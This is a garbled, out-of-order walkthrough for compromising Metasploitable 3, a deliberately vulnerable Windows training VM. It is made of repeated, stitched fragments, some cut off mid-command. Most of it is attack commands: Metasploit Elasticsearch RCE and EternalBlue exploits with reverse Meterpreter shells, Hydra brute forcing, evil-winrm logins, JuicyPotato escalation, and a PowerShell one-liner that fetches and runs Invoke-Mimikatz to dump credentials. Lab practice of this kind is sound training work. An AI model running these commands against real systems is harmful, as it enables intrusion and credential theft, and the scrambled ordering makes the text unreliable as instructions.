# Check version curl http://192.168.56.102:9200 msfconsole msf6 > use exploit/multi/elasticsearch/script_mvel_rce msf6 > set RHOSTS 192.168.56.102 msf6 > set HTTP_PORT 9200 msf6 > set TARGET Windows msf6 > exploit
# Download Mimikatz iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1') Invoke-Mimikatz -DumpCreds NTLM hashes for Administrator , vagrant , and the machine account. You can now pass-the-hash to any other machine on the fake network. Finding Flags Metasploitable 3 has "flags" hidden in the file system.
Developed by Rapid7 in collaboration with Vagrant, Metasploitable 3 is a deliberately vulnerable Windows machine designed to teach real-world Active Directory exploitation, misconfiguration management, and post-exploitation tactics. This is not a simple "click-and-exploit" box. It requires understanding Windows services, firewall rules, and privilege escalation vectors. metasploitable 3 windows walkthrough
# Install evil-winrm gem install evil-winrm evil-winrm -i 192.168.56.102 -u administrator -p vagrant
gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt Look for /jenkins or /phpmyadmin . Metasploitable 3 often has Jenkins running on port 80 via a virtual directory. If you find Jenkins, navigate there. The credentials in Metasploitable 3 default to admin / admin (or no password). # Check version curl http://192
If successful, you get a java shell. But we need to escalate to Windows cmd.exe . This is what most tutorials focus on, but caution: Metasploitable 3 is patched for EternalBlue (MS17-010) if you built it recently? Actually, no. By design, certain builds leave it vulnerable. Step 4.1: Check for MS17-010 nmap --script smb-vuln-ms17-010 -p 445 192.168.56.102 If it says VULNERABLE , proceed. If not, move to the next part (no worries, there are 20 other ways in). Step 4.2: Using EternalBlue (If vulnerable) msfconsole msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS 192.168.56.102 msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > set LHOST 192.168.56.101 msf6 > exploit Success: You now have a SYSTEM level Meterpreter session. Game over. But if the exploit crashes the target (known issue), switch to ms17_010_psexec . Part 5: The "Always Works" Method – WinRM & CrackMapExec Because Metasploitable 3 has weak credentials, we can bypass complex exploitation entirely. Step 5.1: Credential Brute Force (Hydra) hydra -l administrator -P /usr/share/wordlists/rockyou.txt 192.168.56.102 smb The password is often vagrant or mcpassword123 . (Check the Vagrant build files). Step 5.2: WinRM PowerMove If you have vagrant:vagrant or administrator:vagrant , you can use WinRM.
Invoke-Command -ScriptBlock { C:\temp\JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami > C:\temp\priv.txt" -t * } If successful, SYSTEM. You are now SYSTEM or Administrator . Your mission: Own the forest. Method A: Meterpreter (If you used MSF) meterpreter > hashdump # Or meterpreter > load kiwi meterpreter > creds_all Method B: Mimikatz via PowerShell If you are in a native shell (Evil-WinRM or cmd): # Install evil-winrm gem install evil-winrm evil-winrm -i
println "whoami".execute().text If this returns a system user, you have remote code execution (RCE). Use it to download a reverse shell payload from Kali. Older Elasticsearch versions are vulnerable to CVE-2014-3120 (Remote Code Execution).